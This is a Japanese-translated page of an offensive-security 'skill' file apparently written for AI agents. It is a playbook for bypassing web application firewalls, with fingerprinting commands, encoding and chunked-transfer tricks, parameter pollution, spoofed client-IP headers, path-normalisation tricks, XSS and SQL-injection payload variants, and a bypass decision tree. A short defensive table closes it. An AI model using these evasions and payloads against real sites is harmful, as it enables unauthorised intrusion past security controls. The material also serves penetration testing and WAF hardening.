waf-bypass-techniques
WAFがSQLi・XSS・RCEなどのインジェクションペイロードをブロックする際に、エンコーディング・プロトコルレベルのトリック・WAF固有の脆弱性を活用してバイパスを構築するための手法と汎用的な回避テクニックを提供します。Webアプリケーションファイアウォールによる遮断を突破する必要があるときに使用してください。
description の原文を見る
>- WAF bypass methodology and generic evasion techniques. Use when a web application firewall blocks injection payloads (SQLi, XSS, RCE) and you need to craft bypasses using encoding, protocol-level tricks, or WAF-specific weaknesses.
SKILL.md 本文
SKILL: WAF Bypass Techniques — Evasion Playbook
AI LOAD INSTRUCTION: Covers WAF identification, generic bypass categories (encoding, protocol abuse, HTTP/2, parameter pollution), and a decision tree. For product-specific bypasses (Cloudflare, AWS WAF, ModSecurity, Akamai, etc.), load
WAF_PRODUCT_MATRIX.md. Base models often suggest basic encoding but miss protocol-level bypasses and WAF behavioral quirks.
0. RELATED ROUTING
sqli-sql-injectionWAF をバイパスした後にペイロードを配信する場合xss-cross-site-scriptingWAF の回避が必要な XSS ペイロードrequest-smugglingリクエスト スマグリングで WAF 全体を迂回できる場合http-parameter-pollutionHPP 自体が WAF バイパス プリミティブcsp-bypass-advancedWAF がインライン スクリプトをブロックするが CSP バイパスが利用可能な場合ghost-bits-cast-attackJava バックエンドのみ — 上記のすべてのエンコーディング トリックがブロックされた場合、Ghost Bits を使用します:Java の 16 ビットcharから 8 ビットbyteへの狭窄により、危険な ASCII バイトごとに 255 の Unicode バイパス バリアントが生成されます。Tomcat、Spring、Jetty、Jackson、Fastjson、BCEL など、WAF で修正された CVE を再度有効にします
プロダクト固有リファレンス
Cloudflare、AWS WAF、ModSecurity CRS、Akamai、Imperva、F5 BIG-IP、または Sucuri のプロダクト固有のバイパス技術が必要な場合は、WAF_PRODUCT_MATRIX.md を読み込んでください。
1. PHASE 0 — WAF の識別
バイパスする前に、相手が何かを知ることが重要です。
1.1 ツール
| ツール | 使用方法 |
|---|---|
wafw00f target.com | レスポンス ヘッダー/動作から WAF ベンダーをフィンガープリント |
nmap --script=http-waf-detect | WAF 検出用 NSE スクリプト |
| 手動ヘッダー検査 | Server、X-CDN、X-Cache、cf-ray (Cloudflare)、x-sucuri-id、x-akamai-* |
1.2 動作フィンガープリンティング
1. 良性リクエストを送信 → ベースラインレスポンス (ステータス、ヘッダー、ボディサイズ) を記録
2. 明らかな攻撃を送信: /?q=<script>alert(1)</script>
3. 比較: 403? カスタムブロックページ? リダイレクト? 接続リセット?
4. ブロックページの内容が WAF を明かす: "Cloudflare"、"Access Denied (Imperva)"、"ModSecurity"
5. 透過プロキシの場合: レスポンス時間の差分をチェック (WAF は遅延を追加)
2. ジェネリック バイパス カテゴリ
2.1 エンコーディング バイパス
| 技術 | 例 | バイパス対象 |
|---|---|---|
| URL エンコーディング | %3Cscript%3E | 基本的な文字列マッチング |
| ダブル URL エンコーディング | %253Cscript%253E | 1 回デコードする WAF、アプリが 2 回デコード |
| Unicode エンコーディング | %u003Cscript%u003E | IIS 固有の Unicode 正規化 |
| HTML エンティティ | <script> または <script> | HTML エンティティ デコードを実行しない WAF |
| 16 進数エンコーディング (SQL) | 0x756E696F6E = union | SQL キーワード マッチング WAF |
| 8 進数エンコーディング | \74script\76 | 稀だが、一部のパーサーが対応 |
| オーバーロング UTF-8 | %C0%BC (< の無効なエンコーディング) | ルーズな UTF-8 処理のレガシー パーサー |
| 大文字小文字の混在 | SeLeCt、uNiOn | 大文字小文字を区別するルール マッチング |
| ヌルバイト | sel%00ect | ヌルで解析を中止する WAF |
2.2 チャンク転送エンコーディング
ブロックされたパターンを含まないように、ペイロードを HTTP チャンク全体に分割します:
POST /search HTTP/1.1
Transfer-Encoding: chunked
3
sel
3
ect
1
4
from
0
フルボディを検査する WAF は、マッチング前にチャンクを再組立しないことがあります。
2.3 HTTP/2 バイナリ形式バイパス
HTTP/2 はヘッダーを HPACK エンコードされたフレームとしてバイナリで転送します。一部の WAF は HTTP/1.1 にダウングレードした後でのみ検査します:
- ヘッダー名は HTTP/1.1 で不正な文字を含める可能性
- 疑似ヘッダー (
:method、:path) はヘッダーベースの WAF ルールをバイパス - H2 → H1 ダウングレードがリクエスト スマグリングをもたらす可能性 (
request-smugglingを参照)
2.4 HTTP パラメータ ポリューション (HPP)
異なるサーバーは重複パラメータを異なる方法で処理します:
| サーバー | ?a=1&a=2 の動作 |
|---|---|
| PHP/Apache | 最後の値: a=2 |
| ASP.NET/IIS | 連結: a=1,2 |
| Python/Flask | 最初の値: a=1 |
| Node.js/Express | 配列: a=[1,2] |
WAF が a=1 をチェック (良性)、アプリが a=2 を使用 (悪意)。または結合: a=sel&a=ect → ASP.NET が a=sel,ect を認識。
2.5 IP ソース スプーフィング (IP ベースのルールのバイパス)
一部の WAF/アプリが信頼するクライアント IP のヘッダー:
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1
ユースケース: WAF が内部 IP をホワイトリストに登録しているか、ソースごとに異なるルール セットを持っています。
2.6 パス正規化トリック
| 技術 | 例 | 効果 |
|---|---|---|
| ドット セグメント | /./admin または /../target/admin | WAF は app と異なるパスを認識 |
| ダブル スラッシュ | //admin | いくつかの正規化ツールが折りたたみ、WAF は一部折りたたまない |
| パスの URL エンコーディング | /%61dmin | WAF がエンコード、アプリ がデコード |
| パスのヌルバイト | /admin%00.jpg | レガシー: アプリはヌルで切り詰め、WAF は .jpg を認識 |
| バックスラッシュ (IIS) | /admin\..\/secret | IIS は \ を / として処理 |
| 末尾のドット/スペース | /admin. または /admin%20 | OS レベルの正規化 (Windows) |
| セミコロン (Tomcat) | /admin;jsessionid=x | Tomcat は ; の後を削除、WAF は一部削除しない |
2.7 Content-Type 操作
WAF は多くの場合、形式固有のパーサーを持っています。Content-Type を切り替えるとルールをバイパスできます:
デフォルト: Content-Type: application/x-www-form-urlencoded → WAF がパラメータを解析
切り替え: Content-Type: application/json → WAF が JSON ボディを解析しない可能性
切り替え: Content-Type: multipart/form-data → WAF がすべてのパートを検査しない可能性
切り替え: Content-Type: text/xml → WAF が XML を予期、ペイロードが別の形式
トリック: アプリが JSON と form-urlencoded の両方を受け入れる場合、JSON を使用します — WAF は多くの場合、JSON 検査ルールが弱いです。
2.8 マルチパート境界悪用
Content-Type: multipart/form-data; boundary=----WAFBypass
------WAFBypass
Content-Disposition: form-data; name="q"
<script>alert(1)</script>
------WAFBypass--
変更: 長い境界文字列、特殊文字を含む境界、最終境界がない、ネストされたマルチパート。
2.9 改行 & ホワイトスペース インジェクション
-- SQL キーワード分割
SEL
ECT * FROM users
-- SQL コメント挿入
SEL/**/ECT * FR/**/OM users
UN/**/ION SEL/**/ECT 1,2,3
-- セパレータとしてのタブ/垂直タブ
SELECT\t*\tFROM\tusers
2.10 キーワード分割 & 代替構文
| ブロック | 代替 |
|---|---|
UNION SELECT | UNION ALL SELECT、UNION DISTINCT SELECT |
OR 1=1 | OR 2>1、OR 'a'='a'、||1 |
<script> | <svg/onload=alert(1)>、<img src=x onerror=alert(1)> |
alert(1) | prompt(1)、confirm(1)、print() (Chrome) |
eval() | Function('code')()、setTimeout('code',0) |
' OR '1'='1 | ' OR 1-- -、'||'1 |
SLEEP(5) | BENCHMARK(5000000,SHA1('x'))、pg_sleep(5) |
3. プロトコルレベル バイパス技術
3.1 リクエスト ライン悪用
GET /path?q=attack HTTP/1.1 ← WAF が検査
vs.
GET http://target.com/path?q=attack HTTP/1.1 ← 絶対 URI: 一部の WAF がパスをミス
3.2 CRLF 経由ヘッダー インジェクション
WAF が元のヘッダーを検査するが、アプリが挿入されたヘッダーを処理する場合:
X-Custom: value\r\nX-Forwarded-For: 127.0.0.1
3.3 接続状態バイパス
1. WAF を通じて接続を確立 (通常のリクエスト)
2. 同じ keep-alive 接続上で、攻撃リクエストを送信
3. 一部の WAF は同じ接続内の後続リクエストで検査を削減
4. WAF バイパス決定木
WAF によってペイロードがブロックされました。
├── WAF を識別 (wafw00f、レスポンス ヘッダー、ブロック ページ)
│
├── エンコーディング バイパスを試す
│ ├── ペイロードを URL エンコード → まだブロック?
│ ├── ダブル URL エンコード → まだブロック?
│ ├── Unicode/オーバーロング UTF-8 → まだブロック?
│ ├── 大文字小文字混在キーワード → まだブロック?
│ └── HTML エンティティ (XSS の場合) → まだブロック?
│
├── プロトコルレベル バイパスを試す
│ ├── Content-Type を切り替え (JSON、multipart、XML)
│ │ └── アプリが別の形式を受け入れ? → ペイロードを再送信
│ ├── HTTP パラメータ ポリューション (重複パラメータ)
│ ├── チャンク転送エンコーディングでペイロードを分割
│ ├── HTTP/2 直接 (バイナリ フレーミング バイパス) が利用可能
│ └── リクエスト ライン: 絶対 URI 形式
│
├── パスベース バイパスを試す
│ ├── パス正規化 (/./path、//path、;param)
│ ├── 別の HTTP メソッド (POST vs PUT vs PATCH)
│ └── 同じ機能を提供する別のエンドポイント
│
├── ペイロード ミューテーションを試す
│ ├── SQL: コメント (/**/), 代替関数, 16 進数リテラル
│ ├── XSS: 代替タグ/イベント、JS テンプレート リテラル
│ ├── RCE: ワイルドカード悪用、文字列連結、変数展開
│ └── WAF_PRODUCT_MATRIX.md でベンダー固有のミューテーションを確認
│
├── IP ソース バイパスを試す
│ ├── X-Forwarded-For / True-Client-IP スプーフィング
│ ├── オリジン サーバーに直接アクセス (CDN をバイパス)
│ └── オリジン IP を検出 (Shodan、履歴 DNS、メール ヘッダー)
│
└── リクエスト スマグリングで WAF 全体をスキップ
└── ../request-smuggling/SKILL.md を参照
5. よくある間違い & トリック ノート
- 実際のエクスプロイテーションでバイパスをテスト、単なる 200 OK ではない: WAF が 200 を返してもペイロードを静かに削除する可能性があります。
- WAF はサイズ制限をよく持っている: 非常に大きなリクエスト ボディ (WAF に応じて 8KB–128KB を超える) は検査をバイパスする可能性があります。
- レート制限 ≠ WAF: 429 を取得することはレート制限であり、ペイロード ブロックではありません。別のバイパスが必要です。
- CDN キャッシング: WAF が CDN レベルにある場合、キャッシュされたレスポンスはその後のリクエストで WAF をバイパスします。クリーン リクエストでキャッシュを中毒し、キャッシュをエクスプロイト。
- オリジン サーバーへの直接アクセス: CDN/WAF の背後のオリジン IP を見つけた場合、直接接続します — WAF は完全にバイパスされます。
- マルチパート ファイル アップロード フィールド: WAF はマルチパート アップロードのファイル コンテンツをスキップすることがよくあります — ファイル名またはファイル コンテンツに反映されている場合、ペイロードを埋め込みます。
6. 防御パースペクティブ
| 対策 | 注記 |
|---|---|
| WAF + アプリケーション レベルの入力検証 | WAF は層であり、修正ではありません |
| パラメータ化クエリ | WAF に関係なく SQLi を排除 |
| CSP + 出力エンコーディング | WAF に関係なく XSS を排除 |
| WAF ルールを定期的に更新 | ベンダーのシグネチャは新しいバイパスに遅れる |
| デフォルトで拒否、リストをブロックしない | 有効な入力パターンをホワイトリスト |
| WAF ブロックをログして警告 | バイパス試行はログで表示可能 |
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
doubt-driven-development
重要な判断はすべて、本番環境への展開前に新しい視点から対抗的レビューを実施します。速度より正確性が重要な場合、不慣れなコードを扱う場合、本番環境・セキュリティに関わるロジック・取り消し不可の操作など影響度が高い場合、または後でバグを修正するよりも今検証する方が効率的な場合に活用してください。
apprun-skills
TypeScriptを使用したAppRunアプリケーションのMVU設計に関する総合的なガイダンスが得られます。コンポーネントパターン、イベントハンドリング、状態管理(非同期ジェネレータを含む)、パラメータと保護機能を備えたルーティング・ナビゲーション、vistestを使用したテストに対応しています。AppRunコンポーネントの設計・レビュー、ルートの配線、状態フローの管理、AppRunテストの作成時に活用してください。
desloppify
コードベースのヘルスチェックと技術負債の追跡ツールです。コード品質、技術負債、デッドコード、大規模ファイル、ゴッドクラス、重複関数、コードスメル、命名規則の問題、インポートサイクル、結合度の問題についてユーザーが質問した場合に使用してください。また、ヘルススコアの確認、次の改善項目の提案、クリーンアップ計画の作成をリクエストされた際にも対応します。29言語に対応しています。
debugging-and-error-recovery
テストが失敗したり、ビルドが壊れたり、動作が期待と異なったり、予期しないエラーが発生したりした場合に、体系的な根本原因デバッグをガイドします。推測ではなく、根本原因を見つけて修正するための体系的なアプローチが必要な場合に使用してください。
test-driven-development
テスト駆動開発により実装を進めます。ロジックの実装、バグの修正、動作の変更など、あらゆる場面で活用できます。コードが正常に動作することを証明する必要がある場合、バグ報告を受けた場合、既存機能を修正する予定がある場合に使用してください。
incremental-implementation
変更を段階的に実施します。複数のファイルに影響する機能や変更を実装する場合に使用してください。大量のコードを一度に書こうとしている場合や、タスクが一度では完結できないほど大きい場合に活用します。